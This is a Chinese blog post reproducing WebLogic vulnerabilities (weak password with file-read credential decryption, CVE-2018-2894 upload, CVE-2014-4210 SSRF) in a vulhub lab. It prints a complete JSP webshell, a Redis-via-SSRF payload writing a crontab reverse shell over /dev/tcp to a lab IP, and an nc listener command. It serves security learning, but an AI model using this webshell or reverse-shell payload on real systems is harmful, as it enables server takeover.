IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> vulhub靶场-weblogic漏洞复现 -> 正文阅读

[网络协议]vulhub靶场-weblogic漏洞复现

目录

weak-password

CVE-2018-2894

SSRF(CVE-2014-4210)


weak-password复现

开启容器后先访问weblogic的后台

192.168.217.134:7001/console

?看到有个登录框,尝试了几个weblogic的弱口令,得知本环境的弱口令为

用户名:weblogic
密码:Oracle@123

现假设我们不知道弱口令,对本环境进行渗透,本环境存在任意文件读取漏洞,具体路径为

http://your-ip:7001/hello/file.jsp?path=/etc/passwd

?接下来就是对这个漏洞进行利用。

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为`SerializedSystemIni.dat`和`config.xml`,在本环境中为`./security/SerializedSystemIni.dat`和`./config/config.xml`(基于当前目录`/root/Oracle/Middleware/user_projects/domains/base_domain`)。

`SerializedSystemIni.dat`是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:

config.xml`是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的`<node-manager-password-encrypted>`的值,即为加密后的管理员密码 ,同样用bp抓取数据包来读取想要的内容:

密文和密钥得到之后就可以利用工具进行解密了,利用github里的weblogic解密工具

?

?这样就成功得到后台登录密码了,登录之后,点击左侧的部署 ,之后就可以看到有能安装的,再点击安装

安装完成之后可以看到可以进行上传文件

上传到是war文件,我们可以先将一句话木马(所用的jsp一句话木马放在下方)写在shell.jsp中,然后将其压缩成zip文件,再改其后缀为.war,然后进行上传

上传完成之后,用蚁剑进行连接,

连接成功之后,打开蚁剑终端

成功拿到shell。

jsp一句话木马:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

CVE-2018-2894

漏洞详情:Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分为/ws_utc/begin.do、/ws_utc/config.do。

影响范围:Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3


利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

环境启动后,访问http://192.168.217.134:7001/console,即可看到后台登录页面。

执行docker-compose logs | grep password可查看管理员密码

?登录后台页面,点击`base_domain`的配置,在“高级”中开启“启用 Web 服务测试页”选项

之后访问http://192.168.217.134:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的。

?接着点击安全,看到可以添加文件,直接上传一个jsp木马文件。

同时利用bp抓取数据包,在数据包中发现存在时间戳。保存好该时间戳,后面的路径中会利用到

?接着尝试使用蚁剑进行连接。所上传的文件路径为http://192.168.217.134:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

?连接成功,打开蚁剑虚拟终端,成功拿到shell

SSRF(CVE-2014-4210)

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。访问`http://192.168.217.134:7001/uddiexplorer/`,无需登录即可查看uddiexplorer应用,然后点击Search Public Registries,在这个地方存在ssrf漏洞

接下来我们进行测试一下

由此可知确实是存在ssrf漏洞的,接下来进行验证该ssrf漏洞

这说明ip不存在。

如果访问的非http协议,则会返回`did not have a valid SOAP content-type`?

这表明该端口未开放。通过错误的不同,可探测出内网IP的状态。

## 注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。首先,通过ssrf探测内网中的redis服务器,因为该漏洞是用docker环境搭建的,所以redis服务器的内网即为docker的网段

发现ip172.20.0.2,利用ssrf探测内网redis是否开放

?

确定是开放的

接下来发送三条redis命令,将弹shell脚本写入`/etc/crontab`:

set?1?“\n\n\n\n*?*?*?*?*?root?bash?-i?>&?/dev/tcp/192.168.217.134/4444 0>&1\n\n\n\n”
config?set?dir?/etc/
config?set?dbfilename?crontab
save

接下来就是将payload进行url编码了。

为什么要进行编码呢?

因为redis命令是通过换行符来分隔每条命令的(这个可以自行搜索下redis 序列化协议进行了解)

进行编码时注意换行符“\r\n”也就是“%0D%0A”

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.217.134%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

?然后就是将编码后的payload进行发送来进行反弹shell的

打开终端进行端口监听nc -lvp 4444,监听之后再发送该请求

?成功反弹shell。

?

?

?

?

持续更新~~~

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-07-21 21:50:39  更:2022-07-21 21:51:24 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 22:39:05-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码